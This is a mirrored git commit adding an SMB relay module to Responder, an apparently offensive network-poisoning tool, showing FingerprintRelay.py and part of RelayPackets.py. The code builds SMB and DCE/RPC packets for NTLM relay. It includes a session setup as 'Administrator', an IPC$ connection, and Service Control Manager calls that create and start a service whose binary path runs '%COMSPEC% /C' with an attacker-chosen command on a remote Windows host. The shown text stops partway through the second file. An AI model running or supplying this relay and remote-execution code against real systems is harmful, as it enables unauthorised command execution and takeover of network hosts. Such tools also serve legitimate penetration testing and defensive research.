mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-19 04:49:50 -07:00
Added: SMBRelay module
This commit is contained in:
parent
bc5a21a0f6
commit
4dd9d8c1df
3 changed files with 1053 additions and 0 deletions
132
FingerprintRelay.py
Normal file
132
FingerprintRelay.py
Normal file
|
@ -0,0 +1,132 @@
|
||||||
|
#! /usr/bin/env python
|
||||||
|
# NBT-NS/LLMNR Responder
|
||||||
|
# Created by Laurent Gaffie
|
||||||
|
# Copyright (C) 2013 Trustwave Holdings, Inc.
|
||||||
|
#
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import re,socket,struct
|
||||||
|
from socket import *
|
||||||
|
from odict import OrderedDict
|
||||||
|
|
||||||
|
class Packet():
|
||||||
|
fields = OrderedDict([
|
||||||
|
("data", ""),
|
||||||
|
])
|
||||||
|
def __init__(self, **kw):
|
||||||
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
|
for k,v in kw.items():
|
||||||
|
if callable(v):
|
||||||
|
self.fields[k] = v(self.fields[k])
|
||||||
|
else:
|
||||||
|
self.fields[k] = v
|
||||||
|
def __str__(self):
|
||||||
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
|
def longueur(payload):
|
||||||
|
length = struct.pack(">i", len(''.join(payload)))
|
||||||
|
return length
|
||||||
|
|
||||||
|
class SMBHeader(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("proto", "\xff\x53\x4d\x42"),
|
||||||
|
("cmd", "\x72"),
|
||||||
|
("error-code", "\x00\x00\x00\x00" ),
|
||||||
|
("flag1", "\x00"),
|
||||||
|
("flag2", "\x00\x00"),
|
||||||
|
("pidhigh", "\x00\x00"),
|
||||||
|
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("reserved", "\x00\x00"),
|
||||||
|
("tid", "\x00\x00"),
|
||||||
|
("pid", "\x00\x00"),
|
||||||
|
("uid", "\x00\x00"),
|
||||||
|
("mid", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBNego(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("wordcount", "\x00"),
|
||||||
|
("bcc", "\x62\x00"),
|
||||||
|
("data", "")
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
|
||||||
|
|
||||||
|
class SMBNegoData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("separator1","\x02" ),
|
||||||
|
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||||
|
("separator2","\x02"),
|
||||||
|
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||||
|
("separator3","\x02"),
|
||||||
|
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||||
|
("separator4","\x02"),
|
||||||
|
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||||
|
("separator5","\x02"),
|
||||||
|
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||||
|
("separator6","\x02"),
|
||||||
|
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBSessionFingerData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("wordcount", "\x0c"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("reserved","\x00" ),
|
||||||
|
("andxoffset", "\x00\x00"),
|
||||||
|
("maxbuff","\x04\x11"),
|
||||||
|
("maxmpx", "\x32\x00"),
|
||||||
|
("vcnum","\x00\x00"),
|
||||||
|
("sessionkey", "\x00\x00\x00\x00"),
|
||||||
|
("securitybloblength","\x4a\x00"),
|
||||||
|
("reserved2","\x00\x00\x00\x00"),
|
||||||
|
("capabilities", "\xd4\x00\x00\xa0"),
|
||||||
|
("bcc1",""),
|
||||||
|
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||||
|
|
||||||
|
|
||||||
|
def OsNameClientVersion(data):
|
||||||
|
lenght = struct.unpack('<H',data[43:45])[0]
|
||||||
|
pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
|
||||||
|
var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
|
||||||
|
OsVersion = tuple(var)[0]
|
||||||
|
return OsVersion
|
||||||
|
|
||||||
|
|
||||||
|
def RunSmbFinger(host):
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
s.connect(host)
|
||||||
|
s.settimeout(0.7)
|
||||||
|
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||||
|
n = SMBNego(data = SMBNegoData())
|
||||||
|
n.calculate()
|
||||||
|
packet0 = str(h)+str(n)
|
||||||
|
buffer0 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer0)
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[8:10] == "\x72\x00":
|
||||||
|
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||||
|
t = SMBSessionFingerData()
|
||||||
|
t.calculate()
|
||||||
|
final = t
|
||||||
|
packet0 = str(head)+str(final)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[8:10] == "\x73\x16":
|
||||||
|
return OsNameClientVersion(data)
|
484
RelayPackets.py
Normal file
484
RelayPackets.py
Normal file
|
@ -0,0 +1,484 @@
|
||||||
|
# NBT-NS/LLMNR Responder
|
||||||
|
# Created by Laurent Gaffie
|
||||||
|
# Copyright (C) 2013 Trustwave Holdings, Inc.
|
||||||
|
#
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import struct
|
||||||
|
from odict import OrderedDict
|
||||||
|
|
||||||
|
class Packet():
|
||||||
|
fields = OrderedDict([
|
||||||
|
("data", ""),
|
||||||
|
])
|
||||||
|
def __init__(self, **kw):
|
||||||
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
|
for k,v in kw.items():
|
||||||
|
if callable(v):
|
||||||
|
self.fields[k] = v(self.fields[k])
|
||||||
|
else:
|
||||||
|
self.fields[k] = v
|
||||||
|
def __str__(self):
|
||||||
|
return "".join(map(str, self.fields.values()))
|
||||||
|
##################################################################################
|
||||||
|
#SMB Client Stuff
|
||||||
|
##################################################################################
|
||||||
|
|
||||||
|
def longueur(payload):
|
||||||
|
length = struct.pack(">i", len(''.join(payload)))
|
||||||
|
return length
|
||||||
|
|
||||||
|
class SMBHeader(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("proto", "\xff\x53\x4d\x42"),
|
||||||
|
("cmd", "\x72"),
|
||||||
|
("error-code", "\x00\x00\x00\x00" ),
|
||||||
|
("flag1", "\x00"),
|
||||||
|
("flag2", "\x00\x00"),
|
||||||
|
("pidhigh", "\x00\x00"),
|
||||||
|
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("reserved", "\x00\x00"),
|
||||||
|
("tid", "\x00\x00"),
|
||||||
|
("pid", "\x00\x4e"),
|
||||||
|
("uid", "\x00\x08"),
|
||||||
|
("mid", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBNego(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x00"),
|
||||||
|
("Bcc", "\x62\x00"),
|
||||||
|
("Data", "")
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
class SMBNegoData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Separator1","\x02" ),
|
||||||
|
("Dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||||
|
("Separator2","\x02"),
|
||||||
|
("Dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||||
|
("Separator3","\x02"),
|
||||||
|
("Dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||||
|
("Separator4","\x02"),
|
||||||
|
("Dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||||
|
("Separator5","\x02"),
|
||||||
|
("Dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||||
|
("Separator6","\x02"),
|
||||||
|
("Dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBSessionTreeData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x0d"),
|
||||||
|
("AndXCommand", "\x75"),
|
||||||
|
("Reserved", "\x00" ),
|
||||||
|
("Andxoffset", "\x7c\x00"),
|
||||||
|
("Maxbuff","\x04\x11"),
|
||||||
|
("Maxmpx", "\x32\x00"),
|
||||||
|
("Vcnum","\x00\x00"),
|
||||||
|
("Sessionkey", "\x00\x00\x00\x00"),
|
||||||
|
("AnsiPassLength","\x18\x00"),
|
||||||
|
("UnicodePassLength", "\x00\x00"),
|
||||||
|
("Reserved2","\x00\x00\x00\x00"),
|
||||||
|
("Capabilities", "\xd4\x00\x00\x00"),
|
||||||
|
("Bcc","\x3f\x00"),
|
||||||
|
("AnsiPasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
|
||||||
|
("UnicodePasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
|
||||||
|
("Username","Administrator"),
|
||||||
|
("UsernameTerminator","\x00\x00"),
|
||||||
|
("Domain","SMB"),
|
||||||
|
("DomainTerminator","\x00\x00"),
|
||||||
|
("Nativeos",""),
|
||||||
|
("NativeosTerminator","\x00\x00"),
|
||||||
|
("Lanmanager",""),
|
||||||
|
("LanmanagerTerminator","\x00\x00\x00"),
|
||||||
|
("Wordcount2","\x04"),
|
||||||
|
("Andxcmd2","\xff"),
|
||||||
|
("Reserved3","\x00"),
|
||||||
|
("Andxoffset2","\x00\x00"),
|
||||||
|
("Flags","\x00\x00"),
|
||||||
|
("PasswordLength","\x01\x00"),
|
||||||
|
("Bcc2","\x19\x00"),
|
||||||
|
("Passwd","\x00"),
|
||||||
|
("PrePath","\\\\"),
|
||||||
|
("Targ", ""),
|
||||||
|
("IPC", "\\IPC$"),
|
||||||
|
("TerminatorPath","\x00\x00"),
|
||||||
|
("Service","?????"),
|
||||||
|
("TerminatorService","\x00"),
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
##Convert first
|
||||||
|
self.fields["Username"] = self.fields["Username"].encode('utf-16be')
|
||||||
|
self.fields["Domain"] = self.fields["Domain"].encode('utf-16be')
|
||||||
|
self.fields["Nativeos"] = self.fields["Nativeos"].encode('utf-16be')
|
||||||
|
self.fields["Lanmanager"] = self.fields["Lanmanager"].encode('utf-16be')
|
||||||
|
self.fields["PrePath"] = self.fields["PrePath"].encode('utf-16le')
|
||||||
|
self.fields["Targ"] = self.fields["Targ"].encode('utf-16le')
|
||||||
|
self.fields["IPC"] = self.fields["IPC"].encode('utf-16le')
|
||||||
|
##Then calculate
|
||||||
|
data1= str(self.fields["AnsiPasswd"])+(self.fields["UnicodePasswd"])+str(self.fields["Username"])+str(self.fields["UsernameTerminator"])+str(self.fields["Domain"])+str(self.fields["DomainTerminator"])+str(self.fields["Nativeos"])+str(self.fields["NativeosTerminator"])+str(self.fields["Lanmanager"])+str(self.fields["LanmanagerTerminator"])
|
||||||
|
|
||||||
|
data2= str(self.fields["Passwd"])+str(self.fields["PrePath"])+str(self.fields["Targ"])+str(self.fields["IPC"])+str(self.fields["TerminatorPath"])+str(self.fields["Service"])+str(self.fields["TerminatorService"])
|
||||||
|
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(data1))
|
||||||
|
self.fields["Bcc2"] = struct.pack("<h",len(data2))
|
||||||
|
self.fields["Andxoffset"] = struct.pack("<h",len(data1)+32+29)
|
||||||
|
self.fields["AnsiPassLength"] = struct.pack("<h",len(str(self.fields["AnsiPasswd"])))
|
||||||
|
self.fields["UnicodePassLength"] = struct.pack("<h",len(str(self.fields["UnicodePasswd"])))
|
||||||
|
self.fields["PasswordLength"] = struct.pack("<h",len(str(self.fields["Passwd"])))
|
||||||
|
|
||||||
|
class SMBNTCreateData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x18"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved", "\x00" ),
|
||||||
|
("Andxoffset", "\x00\x00"),
|
||||||
|
("Reserved2", "\x00"),
|
||||||
|
("FileNameLen", "\x07\x00"),
|
||||||
|
("CreateFlags", "\x16\x00\x00\x00"),
|
||||||
|
("RootFID", "\x00\x00\x00\x00"),
|
||||||
|
("AccessMask", "\x00\x00\x00\x02"),
|
||||||
|
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("FileAttrib", "\x00\x00\x00\x00"),
|
||||||
|
("ShareAccess", "\x07\x00\x00\x00"),
|
||||||
|
("Disposition", "\x01\x00\x00\x00"),
|
||||||
|
("CreateOptions", "\x00\x00\x00\x00"),
|
||||||
|
("Impersonation", "\x02\x00\x00\x00"),
|
||||||
|
("SecurityFlags", "\x00"),
|
||||||
|
("Bcc", "\x08\x00"),
|
||||||
|
("FileName", "\\svcctl"),
|
||||||
|
("FileNameNull", "\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
|
||||||
|
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(Data1))
|
||||||
|
|
||||||
|
class SMBReadData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x0a"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved", "\x00" ),
|
||||||
|
("Andxoffset", "\x00\x00"),
|
||||||
|
("FID", "\x00\x00"),
|
||||||
|
("Offset", "\x19\x03\x00\x00"),
|
||||||
|
("MaxCountLow", "\xed\x01"),
|
||||||
|
("MinCount", "\xed\x01"),
|
||||||
|
("Hidden", "\xff\xff\xff\xff"),
|
||||||
|
("Remaining", "\x00\x00"),
|
||||||
|
("Bcc", "\x00\x00"),
|
||||||
|
("Data", ""),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
class SMBWriteData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x0e"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved", "\x00" ),
|
||||||
|
("Andxoffset", "\x00\x00"),
|
||||||
|
("FID", "\x06\x40"),
|
||||||
|
("Offset", "\xea\x03\x00\x00"),
|
||||||
|
("Reserved2", "\xff\xff\xff\xff"),
|
||||||
|
("WriteMode", "\x08\x00"),
|
||||||
|
("Remaining", "\xdc\x02"),
|
||||||
|
("DataLenHi", "\x00\x00"),
|
||||||
|
("DataLenLow", "\xdc\x02"),
|
||||||
|
("DataOffset", "\x3f\x00"),
|
||||||
|
("HiOffset", "\x00\x00\x00\x00"),
|
||||||
|
("Bcc", "\xdc\x02"),
|
||||||
|
("Data", ""),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
class SMBDCEData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Version", "\x05"),
|
||||||
|
("VersionLow", "\x00"),
|
||||||
|
("PacketType", "\x0b"),
|
||||||
|
("PacketFlag", "\x03"),
|
||||||
|
("DataRepresent", "\x10\x00\x00\x00"),
|
||||||
|
("FragLen", "\x2c\x02"),
|
||||||
|
("AuthLen", "\x00\x00"),
|
||||||
|
("CallID", "\x00\x00\x00\x00"),
|
||||||
|
("MaxTransFrag", "\xd0\x16"),
|
||||||
|
("MaxRecvFrag", "\xd0\x16"),
|
||||||
|
("GroupAssoc", "\x00\x00\x00\x00"),
|
||||||
|
("CTXNumber", "\x01"),
|
||||||
|
("CTXPadding", "\x00\x00\x00"),
|
||||||
|
("CTX0ContextID", "\x00\x00"),
|
||||||
|
("CTX0ItemNumber", "\x01\x00"),
|
||||||
|
("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
|
||||||
|
("CTX0UIDVersion", "\x02\x00"),
|
||||||
|
("CTX0UIDVersionlo","\x00\x00"),
|
||||||
|
("CTX0UIDSyntax", "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
|
||||||
|
("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
|
||||||
|
|
||||||
|
|
||||||
|
self.fields["FragLen"] = struct.pack("<h",len(Data1))
|
||||||
|
|
||||||
|
class SMBDCEPacketData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Version", "\x05"),
|
||||||
|
("VersionLow", "\x00"),
|
||||||
|
("PacketType", "\x00"),
|
||||||
|
("PacketFlag", "\x03"),
|
||||||
|
("DataRepresent", "\x10\x00\x00\x00"),
|
||||||
|
("FragLen", "\x2c\x02"),
|
||||||
|
("AuthLen", "\x00\x00"),
|
||||||
|
("CallID", "\x00\x00\x00\x00"),
|
||||||
|
("AllocHint", "\x38\x00\x00\x00"),
|
||||||
|
("ContextID", "\x00\x00"),
|
||||||
|
("Opnum", "\x0f\x00"),
|
||||||
|
("Data", ""),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
|
||||||
|
|
||||||
|
self.fields["FragLen"] = struct.pack("<h",len(Data1))
|
||||||
|
self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
class SMBDCESVCCTLOpenManagerW(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("MachineNameRefID", "\xb5\x97\xb9\xbc"),
|
||||||
|
("MaxCount", "\x0f\x00\x00\x00"),
|
||||||
|
("Offset", "\x00\x00\x00\x00"),
|
||||||
|
("ActualCount", "\x0f\x00\x00\x00"),
|
||||||
|
("MachineName", "\\\\169.220.1.11"),##This is not taken into consideration.
|
||||||
|
("MachineNameNull", "\x00\x00\x00\x00"),
|
||||||
|
("DbPointer", "\x00\x00\x00\x00"),
|
||||||
|
("AccessMask", "\x3f\x00\x0f\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
## Convert to UTF-16LE
|
||||||
|
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
|
||||||
|
|
||||||
|
|
||||||
|
class SMBDCESVCCTLCreateService(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("ContextHandle", ""),
|
||||||
|
("MaxCount", "\x0c\x00\x00\x00"),
|
||||||
|
("Offset", "\x00\x00\x00\x00"),
|
||||||
|
("ActualCount", "\x0c\x00\x00\x00"),
|
||||||
|
("ServiceName", "AyAGaxwLhCP"),
|
||||||
|
("MachineNameNull", "\x00\x00"),
|
||||||
|
("ReferentID", "\x9c\xfa\x9a\xc9"),
|
||||||
|
("MaxCountRefID", "\x11\x00\x00\x00"),
|
||||||
|
("OffsetID", "\x00\x00\x00\x00"),
|
||||||
|
("ActualCountRefID", "\x11\x00\x00\x00"),
|
||||||
|
("DisplayNameID", "DhhUFcsvrfJvLwRq"),
|
||||||
|
("DisplayNameIDNull", "\x00\x00\x00\x00"),
|
||||||
|
("AccessMask", "\xff\x01\x0f\x00"),
|
||||||
|
("ServerType", "\x10\x01\x00\x00"),
|
||||||
|
("ServiceStartType", "\x03\x00\x00\x00"),
|
||||||
|
("ServiceErrorCtl", "\x00\x00\x00\x00"),
|
||||||
|
("BinPathMaxCount", "\xb6\x00\x00\x00"),
|
||||||
|
("BinPathOffset", "\x00\x00\x00\x00"),
|
||||||
|
("BinPathActualCount", "\xb6\x00\x00\x00"),
|
||||||
|
("BinPathName", "%COMSPEC% /C \""),
|
||||||
|
("BinCMD", ""),
|
||||||
|
("BintoEnd", "\""),
|
||||||
|
("BinPathNameNull", "\x00\x00"),
|
||||||
|
("Nullz", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
|
||||||
|
|
||||||
|
## Calculate first
|
||||||
|
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||||
|
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||||
|
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||||
|
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||||
|
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||||
|
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||||
|
## Then convert to UTF-16LE, yeah it's weird..
|
||||||
|
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||||
|
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
|
||||||
|
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
|
||||||
|
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
class SMBDCESVCCTLOpenService(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("ContextHandle", ""),
|
||||||
|
("MaxCount", "\x0c\x00\x00\x00"),
|
||||||
|
("Offset", "\x00\x00\x00\x00"),
|
||||||
|
("ActualCount", "\x0c\x00\x00\x00"),
|
||||||
|
("ServiceName", ""),
|
||||||
|
("MachineNameNull", "\x00\x00"),
|
||||||
|
("AccessMask", "\xff\x01\x0f\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
## Calculate first
|
||||||
|
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||||
|
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||||
|
## Then convert to UTF-16LE, yeah it's weird..
|
||||||
|
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||||
|
|
||||||
|
class SMBDCESVCCTLStartService(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("ContextHandle", ""),
|
||||||
|
("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def ParseAnswerKey(data,host):
|
||||||
|
key = data[73:81]
|
||||||
|
print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
|
||||||
|
return key
|
||||||
|
|
||||||
|
##################################################################################
|
||||||
|
#SMB Server Stuff
|
||||||
|
##################################################################################
|
||||||
|
|
||||||
|
#Calculate total SMB packet len.
|
||||||
|
def longueur(payload):
|
||||||
|
length = struct.pack(">i", len(''.join(payload)))
|
||||||
|
return length
|
||||||
|
|
||||||
|
#Set MID SMB Header field.
|
||||||
|
def midcalc(data):
|
||||||
|
pack=data[34:36]
|
||||||
|
return pack
|
||||||
|
|
||||||
|
#Set UID SMB Header field.
|
||||||
|
def uidcalc(data):
|
||||||
|
pack=data[32:34]
|
||||||
|
return pack
|
||||||
|
|
||||||
|
#Set PID SMB Header field.
|
||||||
|
def pidcalc(data):
|
||||||
|
pack=data[30:32]
|
||||||
|
return pack
|
||||||
|
|
||||||
|
#Set TID SMB Header field.
|
||||||
|
def tidcalc(data):
|
||||||
|
pack=data[28:30]
|
||||||
|
return pack
|
||||||
|
|
||||||
|
#SMB Header answer packet.
|
||||||
|
class SMBHeader(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("proto", "\xff\x53\x4d\x42"),
|
||||||
|
("cmd", "\x72"),
|
||||||
|
("errorcode", "\x00\x00\x00\x00" ),
|
||||||
|
("flag1", "\x80"),
|
||||||
|
("flag2", "\x00\x00"),
|
||||||
|
("pidhigh", "\x00\x00"),
|
||||||
|
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("reserved", "\x00\x00"),
|
||||||
|
("tid", "\x00\x00"),
|
||||||
|
("pid", "\xff\xfe"),
|
||||||
|
("uid", "\x00\x00"),
|
||||||
|
("mid", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
#SMB Negotiate Answer packet.
|
||||||
|
